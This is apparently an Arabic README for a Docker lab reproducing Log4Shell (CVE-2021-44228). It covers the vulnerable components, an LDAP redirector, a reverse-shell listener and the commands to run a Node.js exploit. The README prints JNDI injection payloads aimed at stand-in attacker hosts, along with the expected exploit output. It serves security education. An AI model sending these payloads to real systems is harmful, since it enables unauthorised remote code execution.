
مختبر تعليمي قائم على Docker يوضح استغلال Log4Shell (CVE-2021-44228) لتنفيذ الأوامر عن بُعد مع تطبيق Java ضعيف وموجه LDAP وسكربت استغلال آلي.
إخلاء مسؤولية
أُنشئ هذا المختبر حصريًا للأغراض التعليمية والبحثية في مجال الأمن. يحدث كل حركة المرور داخل شبكة Docker معزولة. لا تستخدم هذه المادة على أنظمة حقيقية أو دون إذن صريح. قد يكون سوء الاستخدام جريمة. استخدمه بمسؤولية.
Log4Shell هي ثغرة أمنية حرجة (CVSS 10.0) اكتُشفت في ديسمبر 2021 في مكتبة تسجيل الدخول Apache Log4j 2، المستخدمة على نطاق واسع في تطبيقات Java.
يمتلك Log4j ميزة استيفاء التعبيرات: عند تسجيل رسالة، يقوم بتقييم السلاسل النصية بصيغة ${...}. على سبيل المثال، يتم استبدال ${java:version} بإصدار Java في وقت التشغيل.
تكمن المشكلة في دعم بروتوكول JNDI (Java Naming and Directory Interface). عندما يجد Log4j تعبيرًا مثل:
${jndi:ldap://atacante.com/exploit}
فإنه يوجّه JVM لإجراء استعلام LDAP إلى خادم المهاجم. يستجيب الخادم بمرجع إلى فئة Java عن بُعد — وتقوم JVM بتنزيل هذه الفئة وتنفيذها، مما يؤدي إلى تنفيذ الأوامر عن بُعد (RCE).
ناقل الهجوم بسيط: أي حقل يسجله الخادم (ترويسات HTTP، حقول النماذج، ملفات تعريف الارتباط، إلخ) يمكن أن يكون نقطة دخول لحمولة الهجوم.
2.0-beta9 حتى 2.14.12.15.0 (وبشكل نهائي في 2.17.0)يحاكي المختبر تطبيق Java حقيقيًا باستخدام الإصدارات القابلة للاستغلال.
| المكوّن | الإصدار | لماذا هو قابل للاستغلال |
|---|---|---|
| Apache Log4j | 2.14.1 | يقيّم ${jndi:...} دون قيود |
| JDK | 1.8.0_181 | أقدم من التحديث 8u191 الذي يضبط trustURLCodebase=false |
| Spring Boot | 2.5.6 | مجرد إطار عمل ويب؛ الثغرة في Log4j |
GET http://localhost:8080/log
يتم تسجيل الترويسات التالية مباشرة بواسطة Log4j — أي منها يمكن أن يكون ناقل الحقن:
X-Api-VersionUser-AgentX-Auth-Tokenattacker)| الخدمة | المنفذ | الوظيفة |
|---|---|---|
| marshalsec (LDAP) | 1389 | يستقبل استعلام JNDI ويعيد التوجيه إلى خادم HTTP |
| Python HTTP server | 8888 | يقدّم Exploit.class إلى JVM الخاص بالضحية |
| netcat listener | 9001 | يستقبل اتصال القشرة العكسية |
docker-compose up --build
انتظر حتى ترى في السجلات:
[*] Waiting for reverse shell on :9001 ...
Started Application in X seconds
في طرفية أخرى، شغّل استغلال Node.js:
node exploit/exploit.js
المخرجات المتوقعة:
[*] CVE-2021-44228 — Log4Shell PoC
[*] Target : http://localhost:8080/log
[*] Header : X-Api-Version
[*] Payload : ${jndi:ldap://attacker:1389/Exploit}
[+] Response : 200 OK
[+] Body : logged
[+] Payload delivered — check the attacker nc listener on port 9001
لاحظ الطرفية التي يعمل فيها docker-compose. في سجلات الحاوية attacker سترى اتصال القشرة العكسية يصل إلى المنفذ 9001.
لتأكيد touch /tmp/pwned داخل التطبيق القابل للاستغلال:
docker exec -it log4j-cve-2021-44228-vulnerable-app-1 ls /tmp/pwned
# node exploit/exploit.js [target] [ldapHost] [ldapPort] [className] [header]
node exploit/exploit.js http://localhost:8080/log attacker 1389 Exploit "User-Agent"
بواسطة Guaxinim | أبحاث الأمن السيبراني